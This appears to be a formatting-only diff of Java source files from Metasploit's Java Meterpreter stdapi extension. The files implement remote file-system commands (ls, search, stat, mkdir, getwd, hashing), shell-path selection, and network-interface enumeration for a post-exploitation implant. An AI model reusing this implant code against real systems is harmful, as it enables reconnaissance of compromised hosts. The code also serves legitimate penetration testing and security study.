if (File.pathSeparatorChar == ';')
|
if (File.pathSeparatorChar == ';')
|
||||||
return "cmd.exe";
|
return "cmd.exe";
|
||||||
else
|
else
|
||||||
return "/bin/sh";
|
return "/bin/sh";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -4,14 +4,14 @@ import java.io.File;
|
|||||||
|
|
||||||
public class stdapi_fs_file_expand_path_V1_5 extends stdapi_fs_file_expand_path {
|
public class stdapi_fs_file_expand_path_V1_5 extends stdapi_fs_file_expand_path {
|
||||||
|
|
||||||
protected String getShellPath() {
|
protected String getShellPath() {
|
||||||
String result;
|
String result;
|
||||||
if (File.pathSeparatorChar == ';')
|
if (File.pathSeparatorChar == ';')
|
||||||
result = System.getenv("COMSPEC");
|
result = System.getenv("COMSPEC");
|
||||||
else
|
else
|
||||||
result = System.getenv("SHELL");
|
result = System.getenv("SHELL");
|
||||||
if (result == null || result.length() == 0)
|
if (result == null || result.length() == 0)
|
||||||
result = super.getShellPath();
|
result = super.getShellPath();
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -7,8 +7,8 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_getwd implements Command {
|
public class stdapi_fs_getwd implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
response.add(TLVType.TLV_TYPE_DIRECTORY_PATH, Loader.cwd.getAbsolutePath());
|
response.add(TLVType.TLV_TYPE_DIRECTORY_PATH, Loader.cwd.getAbsolutePath());
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -8,18 +8,18 @@ import com.metasploit.meterpreter.TLVType;
|
|||||||
import com.metasploit.meterpreter.command.Command;
|
import com.metasploit.meterpreter.command.Command;
|
||||||
|
|
||||||
public class stdapi_fs_ls implements Command {
|
public class stdapi_fs_ls implements Command {
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
stdapi_fs_stat statCommand = (stdapi_fs_stat) meterpreter.getCommandManager().getCommand("stdapi_fs_stat");
|
stdapi_fs_stat statCommand = (stdapi_fs_stat) meterpreter.getCommandManager().getCommand("stdapi_fs_stat");
|
||||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||||
String[] entries = new File(path).list();
|
String[] entries = new File(path).list();
|
||||||
for (int i = 0; i < entries.length; i++) {
|
for (int i = 0; i < entries.length; i++) {
|
||||||
if (entries[i].equals(".") || entries[i].equals(".."))
|
if (entries[i].equals(".") || entries[i].equals(".."))
|
||||||
continue;
|
continue;
|
||||||
File f = new File(path, entries[i]);
|
File f = new File(path, entries[i]);
|
||||||
response.addOverflow(TLVType.TLV_TYPE_FILE_NAME, entries[i]);
|
response.addOverflow(TLVType.TLV_TYPE_FILE_NAME, entries[i]);
|
||||||
response.addOverflow(TLVType.TLV_TYPE_FILE_PATH, f.getCanonicalPath());
|
response.addOverflow(TLVType.TLV_TYPE_FILE_PATH, f.getCanonicalPath());
|
||||||
response.addOverflow(TLVType.TLV_TYPE_STAT_BUF, statCommand.stat(f));
|
response.addOverflow(TLVType.TLV_TYPE_STAT_BUF, statCommand.stat(f));
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
package com.metasploit.meterpreter.stdapi;
|
package com.metasploit.meterpreter.stdapi;
|
||||||
|
|
||||||
public class stdapi_fs_md5 extends HashCommand {
|
public class stdapi_fs_md5 extends HashCommand {
|
||||||
protected String getAlgorithm() {
|
protected String getAlgorithm() {
|
||||||
return "MD5";
|
return "MD5";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -10,15 +10,15 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_mkdir implements Command {
|
public class stdapi_fs_mkdir implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||||
File file = Loader.expand(path);
|
File file = Loader.expand(path);
|
||||||
if (!file.getParentFile().exists() || !file.getParentFile().isDirectory()) {
|
if (!file.getParentFile().exists() || !file.getParentFile().isDirectory()) {
|
||||||
throw new IOException("Parent directory not found: " + path);
|
throw new IOException("Parent directory not found: " + path);
|
||||||
}
|
}
|
||||||
if (!file.mkdirs()) {
|
if (!file.mkdirs()) {
|
||||||
throw new IOException("Cannot create directory " + file.getCanonicalPath());
|
throw new IOException("Cannot create directory " + file.getCanonicalPath());
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,91 +13,91 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_search implements Command {
|
public class stdapi_fs_search implements Command {
|
||||||
|
|
||||||
private static final int TLV_TYPE_FILE_SIZE = TLVPacket.TLV_META_TYPE_UINT | 1204;
|
private static final int TLV_TYPE_FILE_SIZE = TLVPacket.TLV_META_TYPE_UINT | 1204;
|
||||||
|
|
||||||
private static final int TLV_TYPE_SEARCH_RECURSE = TLVPacket.TLV_META_TYPE_BOOL | 1230;
|
private static final int TLV_TYPE_SEARCH_RECURSE = TLVPacket.TLV_META_TYPE_BOOL | 1230;
|
||||||
private static final int TLV_TYPE_SEARCH_GLOB = TLVPacket.TLV_META_TYPE_STRING | 1231;
|
private static final int TLV_TYPE_SEARCH_GLOB = TLVPacket.TLV_META_TYPE_STRING | 1231;
|
||||||
private static final int TLV_TYPE_SEARCH_ROOT = TLVPacket.TLV_META_TYPE_STRING | 1232;
|
private static final int TLV_TYPE_SEARCH_ROOT = TLVPacket.TLV_META_TYPE_STRING | 1232;
|
||||||
private static final int TLV_TYPE_SEARCH_RESULTS = TLVPacket.TLV_META_TYPE_GROUP | 1233;
|
private static final int TLV_TYPE_SEARCH_RESULTS = TLVPacket.TLV_META_TYPE_GROUP | 1233;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Simple glob implementation.
|
* Simple glob implementation.
|
||||||
*/
|
*/
|
||||||
private static boolean matches(String text, String glob) {
|
private static boolean matches(String text, String glob) {
|
||||||
String rest = null;
|
String rest = null;
|
||||||
int pos = glob.indexOf('*');
|
int pos = glob.indexOf('*');
|
||||||
if (pos != -1) {
|
if (pos != -1) {
|
||||||
rest = glob.substring(pos + 1);
|
rest = glob.substring(pos + 1);
|
||||||
glob = glob.substring(0, pos);
|
glob = glob.substring(0, pos);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (glob.length() > text.length())
|
if (glob.length() > text.length())
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
// handle the part up to the first *
|
// handle the part up to the first *
|
||||||
for (int i = 0; i < glob.length(); i++)
|
for (int i = 0; i < glob.length(); i++)
|
||||||
if (glob.charAt(i) != '?'
|
if (glob.charAt(i) != '?'
|
||||||
&& !glob.substring(i, i + 1).equalsIgnoreCase(text.substring(i, i + 1)))
|
&& !glob.substring(i, i + 1).equalsIgnoreCase(text.substring(i, i + 1)))
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
// recurse for the part after the first *, if any
|
// recurse for the part after the first *, if any
|
||||||
if (rest == null) {
|
if (rest == null) {
|
||||||
return glob.length() == text.length();
|
return glob.length() == text.length();
|
||||||
} else {
|
} else {
|
||||||
for (int i = glob.length(); i <= text.length(); i++) {
|
for (int i = glob.length(); i <= text.length(); i++) {
|
||||||
if (matches(text.substring(i), rest))
|
if (matches(text.substring(i), rest))
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private List findFiles(String path, String mask, boolean recurse) {
|
private List findFiles(String path, String mask, boolean recurse) {
|
||||||
try {
|
try {
|
||||||
File pathfile = Loader.expand(path);
|
File pathfile = Loader.expand(path);
|
||||||
if (!pathfile.exists() || !pathfile.isDirectory()) {
|
if (!pathfile.exists() || !pathfile.isDirectory()) {
|
||||||
pathfile = new File(path);
|
pathfile = new File(path);
|
||||||
if (!pathfile.exists() || !pathfile.isDirectory()) {
|
if (!pathfile.exists() || !pathfile.isDirectory()) {
|
||||||
throw new IOException("Path not found: " + path);
|
throw new IOException("Path not found: " + path);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
path = pathfile.getCanonicalPath();
|
path = pathfile.getCanonicalPath();
|
||||||
File[] lst = new File(path).listFiles();
|
File[] lst = new File(path).listFiles();
|
||||||
List glob = new ArrayList();
|
List glob = new ArrayList();
|
||||||
if (lst == null)
|
if (lst == null)
|
||||||
return glob;
|
return glob;
|
||||||
for (int i = 0; i < lst.length; i++) {
|
for (int i = 0; i < lst.length; i++) {
|
||||||
File file = lst[i];
|
File file = lst[i];
|
||||||
if (recurse && file.isDirectory()
|
if (recurse && file.isDirectory()
|
||||||
// don't follow links to avoid infinite recursion
|
// don't follow links to avoid infinite recursion
|
||||||
&& file.getCanonicalPath().equals(file.getAbsolutePath())) {
|
&& file.getCanonicalPath().equals(file.getAbsolutePath())) {
|
||||||
glob.addAll(findFiles(file.getAbsolutePath(), mask, true));
|
glob.addAll(findFiles(file.getAbsolutePath(), mask, true));
|
||||||
}
|
}
|
||||||
// Match file mask
|
// Match file mask
|
||||||
if (matches(file.getName(), mask)) {
|
if (matches(file.getName(), mask)) {
|
||||||
glob.add(path + "/" + file.getName());
|
glob.add(path + "/" + file.getName());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Collections.sort(glob);
|
Collections.sort(glob);
|
||||||
return glob;
|
return glob;
|
||||||
} catch (IOException ex) {
|
} catch (IOException ex) {
|
||||||
return Collections.EMPTY_LIST;
|
return Collections.EMPTY_LIST;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String root = request.getStringValue(TLV_TYPE_SEARCH_ROOT, ".");
|
String root = request.getStringValue(TLV_TYPE_SEARCH_ROOT, ".");
|
||||||
String glob = request.getStringValue(TLV_TYPE_SEARCH_GLOB);
|
String glob = request.getStringValue(TLV_TYPE_SEARCH_GLOB);
|
||||||
boolean recurse = request.getBooleanValue(TLV_TYPE_SEARCH_RECURSE);
|
boolean recurse = request.getBooleanValue(TLV_TYPE_SEARCH_RECURSE);
|
||||||
List files = findFiles(root, glob, recurse);
|
List files = findFiles(root, glob, recurse);
|
||||||
for (int i = 0; i < files.size(); i++) {
|
for (int i = 0; i < files.size(); i++) {
|
||||||
File f = new File((String) files.get(i));
|
File f = new File((String) files.get(i));
|
||||||
TLVPacket file_tlvs = new TLVPacket();
|
TLVPacket file_tlvs = new TLVPacket();
|
||||||
file_tlvs.add(TLVType.TLV_TYPE_FILE_PATH, f.getParentFile().getPath());
|
file_tlvs.add(TLVType.TLV_TYPE_FILE_PATH, f.getParentFile().getPath());
|
||||||
file_tlvs.add(TLVType.TLV_TYPE_FILE_NAME, f.getName());
|
file_tlvs.add(TLVType.TLV_TYPE_FILE_NAME, f.getName());
|
||||||
file_tlvs.add(TLV_TYPE_FILE_SIZE, (int) f.length());
|
file_tlvs.add(TLV_TYPE_FILE_SIZE, (int) f.length());
|
||||||
response.addOverflow(TLV_TYPE_SEARCH_RESULTS, file_tlvs);
|
response.addOverflow(TLV_TYPE_SEARCH_RESULTS, file_tlvs);
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,9 +9,9 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_separator implements Command {
|
public class stdapi_fs_separator implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
response.add(TLVType.TLV_TYPE_STRING, File.separator);
|
response.add(TLVType.TLV_TYPE_STRING, File.separator);
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
package com.metasploit.meterpreter.stdapi;
|
package com.metasploit.meterpreter.stdapi;
|
||||||
|
|
||||||
public class stdapi_fs_sha1 extends HashCommand {
|
public class stdapi_fs_sha1 extends HashCommand {
|
||||||
protected String getAlgorithm() {
|
protected String getAlgorithm() {
|
||||||
return "SHA-1";
|
return "SHA-1";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -12,79 +12,78 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_stat implements Command {
|
public class stdapi_fs_stat implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||||
if (path.equals("...")) {
|
if (path.equals("...")) {
|
||||||
long length = meterpreter.getErrorBufferLength();
|
long length = meterpreter.getErrorBufferLength();
|
||||||
if (length != -1) {
|
if (length != -1) {
|
||||||
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(0444 | 0100000, length, System.currentTimeMillis()));
|
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(0444 | 0100000, length, System.currentTimeMillis()));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
File file = new File(path);
|
File file = new File(path);
|
||||||
if (!file.exists())
|
if (!file.exists())
|
||||||
file = Loader.expand(path);
|
file = Loader.expand(path);
|
||||||
if (!file.exists())
|
if (!file.exists())
|
||||||
throw new IOException("File/directory does not exist: " + path);
|
throw new IOException("File/directory does not exist: " + path);
|
||||||
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(file));
|
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(file));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] stat(File file) throws IOException {
|
public byte[] stat(File file) throws IOException {
|
||||||
int mode = (file.canRead() ? 0444 : 0)
|
int mode = (file.canRead() ? 0444 : 0)
|
||||||
| (file.canWrite() ? 0222 : 0)
|
| (file.canWrite() ? 0222 : 0)
|
||||||
| (canExecute(file) ? 0110 : 0)
|
| (canExecute(file) ? 0110 : 0)
|
||||||
// File objects have a prefix (which is something like "C:\\" on Windows
|
// File objects have a prefix (which is something like "C:\\" on Windows
|
||||||
// and always "/" on Linux) and a name. If we're talking about the root
|
// and always "/" on Linux) and a name. If we're talking about the root
|
||||||
// directory, the name will be an empty string which triggers a bug in gcj
|
// directory, the name will be an empty string which triggers a bug in gcj
|
||||||
// where isHidden() blows up when calling charAt(0) on an empty string.
|
// where isHidden() blows up when calling charAt(0) on an empty string.
|
||||||
// Work around it by always treating / as unhidden.
|
// Work around it by always treating / as unhidden.
|
||||||
| (!file.getAbsolutePath().equals("/") && file.isHidden() ? 1 : 0)
|
| (!file.getAbsolutePath().equals("/") && file.isHidden() ? 1 : 0)
|
||||||
| (file.isDirectory() ? 040000 : 0)
|
| (file.isDirectory() ? 040000 : 0)
|
||||||
| (file.isFile() ? 0100000 : 0)
|
| (file.isFile() ? 0100000 : 0);
|
||||||
;
|
return stat(mode, file.length(), file.lastModified());
|
||||||
return stat(mode, file.length(), file.lastModified());
|
}
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] stat(int mode, long length, long lastModified) throws IOException {
|
private byte[] stat(int mode, long length, long lastModified) throws IOException {
|
||||||
ByteArrayOutputStream statbuf = new ByteArrayOutputStream();
|
ByteArrayOutputStream statbuf = new ByteArrayOutputStream();
|
||||||
DataOutputStream dos = new DataOutputStream(statbuf);
|
DataOutputStream dos = new DataOutputStream(statbuf);
|
||||||
dos.writeInt(le(0)); // dev
|
dos.writeInt(le(0)); // dev
|
||||||
dos.writeShort(short_le(0)); // ino
|
dos.writeShort(short_le(0)); // ino
|
||||||
dos.writeShort(short_le(mode)); // mode
|
dos.writeShort(short_le(mode)); // mode
|
||||||
dos.writeShort(short_le(1)); // nlink
|
dos.writeShort(short_le(1)); // nlink
|
||||||
dos.writeShort(short_le(65535)); // uid
|
dos.writeShort(short_le(65535)); // uid
|
||||||
dos.writeShort(short_le(65535)); // gid
|
dos.writeShort(short_le(65535)); // gid
|
||||||
dos.writeShort(short_le(0)); // padding
|
dos.writeShort(short_le(0)); // padding
|
||||||
dos.writeInt(le(0)); // rdev
|
dos.writeInt(le(0)); // rdev
|
||||||
dos.writeInt(le((int) length)); // size
|
dos.writeInt(le((int) length)); // size
|
||||||
int mtime = (int) (lastModified / 1000);
|
int mtime = (int) (lastModified / 1000);
|
||||||
dos.writeInt(le(mtime)); // atime
|
dos.writeInt(le(mtime)); // atime
|
||||||
dos.writeInt(le(mtime)); // mtime
|
dos.writeInt(le(mtime)); // mtime
|
||||||
dos.writeInt(le(mtime)); // ctime
|
dos.writeInt(le(mtime)); // ctime
|
||||||
dos.writeInt(le(1024)); // blksize
|
dos.writeInt(le(1024)); // blksize
|
||||||
dos.writeInt(le((int) ((length + 1023) / 1024))); // blocks
|
dos.writeInt(le((int) ((length + 1023) / 1024))); // blocks
|
||||||
return statbuf.toByteArray();
|
return statbuf.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check whether a file can be executed.
|
* Check whether a file can be executed.
|
||||||
*/
|
*/
|
||||||
protected boolean canExecute(File file) {
|
protected boolean canExecute(File file) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Convert an integer to little endian.
|
* Convert an integer to little endian.
|
||||||
*/
|
*/
|
||||||
private static int le(int value) {
|
private static int le(int value) {
|
||||||
return ((value & 0xff) << 24) | ((value & 0xff00) << 8) | ((value & 0xff0000) >> 8) | (int) ((value & 0xff000000L) >> 24);
|
return ((value & 0xff) << 24) | ((value & 0xff00) << 8) | ((value & 0xff0000) >> 8) | (int) ((value & 0xff000000L) >> 24);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Convert a short to little endian.
|
* Convert a short to little endian.
|
||||||
*/
|
*/
|
||||||
private static int short_le(int value) {
|
private static int short_le(int value) {
|
||||||
return ((value & 0xff) << 8) | ((value & 0xff00) >> 8);
|
return ((value & 0xff) << 8) | ((value & 0xff00) >> 8);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -4,7 +4,7 @@ import java.io.File;
|
|||||||
|
|
||||||
public class stdapi_fs_stat_V1_6 extends stdapi_fs_stat {
|
public class stdapi_fs_stat_V1_6 extends stdapi_fs_stat {
|
||||||
|
|
||||||
protected boolean canExecute(File file) {
|
protected boolean canExecute(File file) {
|
||||||
return file.canExecute();
|
return file.canExecute();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -14,86 +14,86 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
|
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
int index = 0;
|
int index = 0;
|
||||||
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
|
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements(); ) {
|
||||||
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
||||||
TLVPacket ifaceTLV = new TLVPacket();
|
TLVPacket ifaceTLV = new TLVPacket();
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index);
|
ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index);
|
||||||
Address[] addresses = getAddresses(iface);
|
Address[] addresses = getAddresses(iface);
|
||||||
for (int i = 0; i < addresses.length; i++) {
|
for (int i = 0; i < addresses.length; i++) {
|
||||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address);
|
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address);
|
||||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength));
|
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength));
|
||||||
if (addresses[i].scopeId != null) {
|
if (addresses[i].scopeId != null) {
|
||||||
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId);
|
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
addMTU(ifaceTLV, iface);
|
addMTU(ifaceTLV, iface);
|
||||||
byte[] mac = getMacAddress(iface);
|
byte[] mac = getMacAddress(iface);
|
||||||
if (mac != null) {
|
if (mac != null) {
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac);
|
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac);
|
||||||
} else {
|
} else {
|
||||||
// seems that Meterpreter does not like interfaces without
|
// seems that Meterpreter does not like interfaces without
|
||||||
// mac address
|
// mac address
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]);
|
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]);
|
||||||
}
|
}
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
|
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
|
||||||
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
|
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
||||||
// not supported before 1.6
|
// not supported before 1.6
|
||||||
}
|
}
|
||||||
|
|
||||||
protected byte[] getMacAddress(NetworkInterface iface) throws IOException {
|
protected byte[] getMacAddress(NetworkInterface iface) throws IOException {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Return address information of this interface that cannot be determined
|
* Return address information of this interface that cannot be determined
|
||||||
* the same way for all Java versions.
|
* the same way for all Java versions.
|
||||||
*
|
*
|
||||||
* @param iface
|
* @param iface
|
||||||
* @return Array of {@link Interface}
|
* @return Array of {@link Interface}
|
||||||
*/
|
*/
|
||||||
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
||||||
List/* <Address> */result = new ArrayList();
|
List/* <Address> */result = new ArrayList();
|
||||||
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
|
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements(); ) {
|
||||||
InetAddress addr = (InetAddress) en.nextElement();
|
InetAddress addr = (InetAddress) en.nextElement();
|
||||||
byte[] ip = addr.getAddress();
|
byte[] ip = addr.getAddress();
|
||||||
if (ip == null)
|
if (ip == null)
|
||||||
continue;
|
continue;
|
||||||
int prefixLength = 0;
|
int prefixLength = 0;
|
||||||
if (ip.length == 4) {
|
if (ip.length == 4) {
|
||||||
// guess netmask by network class...
|
// guess netmask by network class...
|
||||||
if ((ip[0] & 0xff) < 0x80) {
|
if ((ip[0] & 0xff) < 0x80) {
|
||||||
prefixLength = 8;
|
prefixLength = 8;
|
||||||
} else if ((ip[0] & 0xff) < 0xc0) {
|
} else if ((ip[0] & 0xff) < 0xc0) {
|
||||||
prefixLength = 16;
|
prefixLength = 16;
|
||||||
} else {
|
} else {
|
||||||
prefixLength = 24;
|
prefixLength = 24;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
result.add(new Address(ip, prefixLength, null));
|
result.add(new Address(ip, prefixLength, null));
|
||||||
}
|
}
|
||||||
return (Address[]) result.toArray(new Address[result.size()]);
|
return (Address[]) result.toArray(new Address[result.size()]);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* An IP address associated to an interface, together with a prefix length
|
* An IP address associated to an interface, together with a prefix length
|
||||||
* and optionally a scope.
|
* and optionally a scope.
|
||||||
*/
|
*/
|
||||||
protected static class Address {
|
protected static class Address {
|
||||||
public final byte[] address;
|
public final byte[] address;
|
||||||
public final int prefixLength;
|
public final int prefixLength;
|
||||||
public final byte[] scopeId;
|
public final byte[] scopeId;
|
||||||
|
|
||||||
public Address(byte[] address, int prefixLength, byte[] scopeId) {
|
public Address(byte[] address, int prefixLength, byte[] scopeId) {
|
||||||
this.address = address;
|
this.address = address;
|
||||||
this.prefixLength = prefixLength;
|
this.prefixLength = prefixLength;
|
||||||
this.scopeId = scopeId;
|
this.scopeId = scopeId;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -15,38 +15,38 @@ import com.metasploit.meterpreter.TLVType;
|
|||||||
|
|
||||||
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
|
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
|
||||||
|
|
||||||
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
public Address[] getAddresses(NetworkInterface iface) throws IOException {
|
||||||
List/* <Address> */result = new ArrayList();
|
List/* <Address> */result = new ArrayList();
|
||||||
List addresses = iface.getInterfaceAddresses();
|
List addresses = iface.getInterfaceAddresses();
|
||||||
for (Iterator it = addresses.iterator(); it.hasNext();) {
|
for (Iterator it = addresses.iterator(); it.hasNext(); ) {
|
||||||
InterfaceAddress addr = (InterfaceAddress) it.next();
|
InterfaceAddress addr = (InterfaceAddress) it.next();
|
||||||
byte[] ip = addr.getAddress().getAddress();
|
byte[] ip = addr.getAddress().getAddress();
|
||||||
if (ip == null)
|
if (ip == null)
|
||||||
continue;
|
continue;
|
||||||
int prefixLength = addr.getNetworkPrefixLength();
|
int prefixLength = addr.getNetworkPrefixLength();
|
||||||
if (prefixLength == -1 && ip.length == 4) {
|
if (prefixLength == -1 && ip.length == 4) {
|
||||||
// guess netmask by network class...
|
// guess netmask by network class...
|
||||||
if ((ip[0] & 0xff) < 0x80) {
|
if ((ip[0] & 0xff) < 0x80) {
|
||||||
prefixLength = 8;
|
prefixLength = 8;
|
||||||
} else if ((ip[0] & 0xff) < 0xc0) {
|
} else if ((ip[0] & 0xff) < 0xc0) {
|
||||||
prefixLength = 16;
|
prefixLength = 16;
|
||||||
} else {
|
} else {
|
||||||
prefixLength = 24;
|
prefixLength = 24;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
byte[] scopeId = null;
|
byte[] scopeId = null;
|
||||||
if (addr.getAddress() instanceof Inet6Address) {
|
if (addr.getAddress() instanceof Inet6Address) {
|
||||||
ByteBuffer bb = ByteBuffer.allocate(4);
|
ByteBuffer bb = ByteBuffer.allocate(4);
|
||||||
bb.order(ByteOrder.BIG_ENDIAN);
|
bb.order(ByteOrder.BIG_ENDIAN);
|
||||||
bb.putInt(((Inet6Address) addr.getAddress()).getScopeId());
|
bb.putInt(((Inet6Address) addr.getAddress()).getScopeId());
|
||||||
scopeId = bb.array();
|
scopeId = bb.array();
|
||||||
}
|
}
|
||||||
result.add(new Address(ip, prefixLength, scopeId));
|
result.add(new Address(ip, prefixLength, scopeId));
|
||||||
}
|
}
|
||||||
return (Address[]) result.toArray(new Address[result.size()]);
|
return (Address[]) result.toArray(new Address[result.size()]);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
|
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
